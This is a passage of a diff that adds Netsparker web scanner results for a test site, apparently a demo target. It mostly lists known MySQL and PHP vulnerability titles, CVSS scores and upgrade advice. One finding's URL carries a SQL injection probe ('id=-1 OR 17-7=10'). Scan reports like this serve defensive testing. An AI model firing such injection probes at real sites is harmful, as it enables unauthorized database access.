Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL NULL Pointer Dereference Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "High", + "Title": "MySQL NULL Pointer Dereference Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Out-of-bounds Write Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Exposure of Sensitive Information to an Unauthorized Actor Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Exposure of Sensitive Information to an Unauthorized Actor Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Permissions, Privileges, and Access Controls Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Improper Privilege Management Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Improper Input Validation Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Improper Access Control Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "High", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "High", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Low", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "High", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "High", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "MySQL Insufficient Information Vulnerability" + } + ], + "LastSeenDate": "25/06/2021 01:54 AM", + "Name": "Out-of-date Version (MySQL)", + "ProofOfConcept": "", + "RemedialActions": "", + "RemedialProcedure": "
Please upgrade your installation of MySQL to the latest stable version.
", + "RemedyReferences": "
", + "Severity": "Critical", + "State": "Revived", + "Type": "MySqlOutOfDate", + "Url": "http://php.testsparker.com/artist.php?id=-1%20OR%2017-7%3d10" + }, + { + "Certainty": 90, + "Classification": { + "Iso27001": "A.14.1.2", + "Capec": "310", + "Cvss": { + "BaseScore": { + "Severity": 2, + "Type": "Base", + "Value": "5.3" + }, + "EnvironmentalScore": { + "Severity": 2, + "Type": "Environmental", + "Value": "5.1" + }, + "TemporalScore": { + "Severity": 2, + "Type": "Temporal", + "Value": "5.1" + }, + "Vector": "CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N/E:H/RL:O/RC:C" + }, + "Cvss31": null, + "Cwe": "829", + "Hipaa": "164.308(a)(1)(i)", + "Owasp": "A9", + "OwaspProactiveControls": "C1", + "Pci32": "6.2", + "Wasc": "" + }, + "Confirmed": false, + "Description": "

Netsparker Enterprise identified you are using an out-of-date version of PHP.

", + "ExploitationSkills": "", + "ExternalReferences": "", + "ExtraInformation": [ + { + "Name": "Identified Version", + "Value": "5.2.6" + }, + { + "Name": "Latest Version", + "Value": "8.0.7" + }, + { + "Name": "Vulnerability Database", + "Value": "Result is based on 06/18/2021 12:00:00 vulnerability database content." + }, + { + "Name": "Page Type", + "Value": "Other" + } + ], + "FirstSeenDate": "15/06/2021 01:44 PM", + "HttpRequest": { + "Content": "GET / HTTP/1.1\r\nHost: php.testsparker.com\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\r\nAccept-Language: en-us,en;q=0.5\r\nCache-Control: no-cache\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36\r\nX-Scanner: Netsparker Enterprise\r\n\r\n", + "Method": "GET", + "Parameters": [] + }, + "HttpResponse": { + "Content": "HTTP/1.1 200 OK\r\nServer: Apache/2.2.8 (Win32) PHP/5.2.6\r\nX-Powered-By: PHP/5.2.6\r\nConnection: Keep-Alive\r\nKeep-Alive: timeout=5, max=150\r\nContent-Length: 136\r\nContent-Type: text/html\r\nDate: Thu, 24 Jun 2021 22:49:09 GMT\r\n\r\n\n\n\n\n", + "Duration": 45.9707, + "StatusCode": 200 + }, + "LookupId": "df809200-a510-4daf-8722-ad48024dd66f", + "Impact": "
Since this is an old version of the software, it may be vulnerable to attacks.
", + "KnownVulnerabilities": [ + { + "Severity": "Medium", + "Title": "PHP Numeric Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Numeric Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Resource Management Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Resource Management Errors Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Numeric Errors Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Use of Externally-Controlled Format String Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Numeric Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Numeric Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Link Resolution Before File Access ('Link Following') Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Numeric Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Use of Externally-Controlled Format String Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Resource Management Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Resource Management Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Permissions, Privileges, and Access Controls Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Permissions, Privileges, and Access Controls Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Resource Management Errors Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Cryptographic Issues Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Cryptographic Issues Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Numeric Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Permissions, Privileges, and Access Controls Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Resource Management Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Resource Management Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Permissions, Privileges, and Access Controls Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Permissions, Privileges, and Access Controls Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Permissions, Privileges, and Access Controls Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Use of Externally-Controlled Format String Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Permissions, Privileges, and Access Controls Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Permissions, Privileges, and Access Controls Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Permissions, Privileges, and Access Controls Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Use of Externally-Controlled Format String Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Exposure of Sensitive Information to an Unauthorized Actor Vulnerability" + }, + { + "Severity": "Low", + "Title": "PHP Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "Low", + "Title": "PHP Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Exposure of Sensitive Information to an Unauthorized Actor Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Insufficient Information Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Insufficient Information Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Insufficient Information Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Insufficient Information Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Resource Management Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Resource Management Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Numeric Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Numeric Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Numeric Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Numeric Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Cryptographic Issues Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Numeric Errors Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Permissions, Privileges, and Access Controls Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Cryptographic Issues Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Permissions, Privileges, and Access Controls Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "Critical", + "Title": "PHP Other Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Numeric Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Exposure of Sensitive Information to an Unauthorized Actor Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Input Validation Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Numeric Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Resource Management Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Resource Management Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Resource Management Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Exposure of Sensitive Information to an Unauthorized Actor Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Exposure of Sensitive Information to an Unauthorized Actor Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Improper Control of Generation of Code ('Code Injection') Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Exposure of Sensitive Information to an Unauthorized Actor Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Exposure of Sensitive Information to an Unauthorized Actor Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Resource Management Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Exposure of Sensitive Information to an Unauthorized Actor Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Exposure of Sensitive Information to an Unauthorized Actor Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Exposure of Sensitive Information to an Unauthorized Actor Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Permissions, Privileges, and Access Controls Vulnerability" + }, + { + "Severity": "High", + "Title": "PHP Resource Management Errors Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability" + }, + { + "Severity": "Medium", + "Title": "PHP 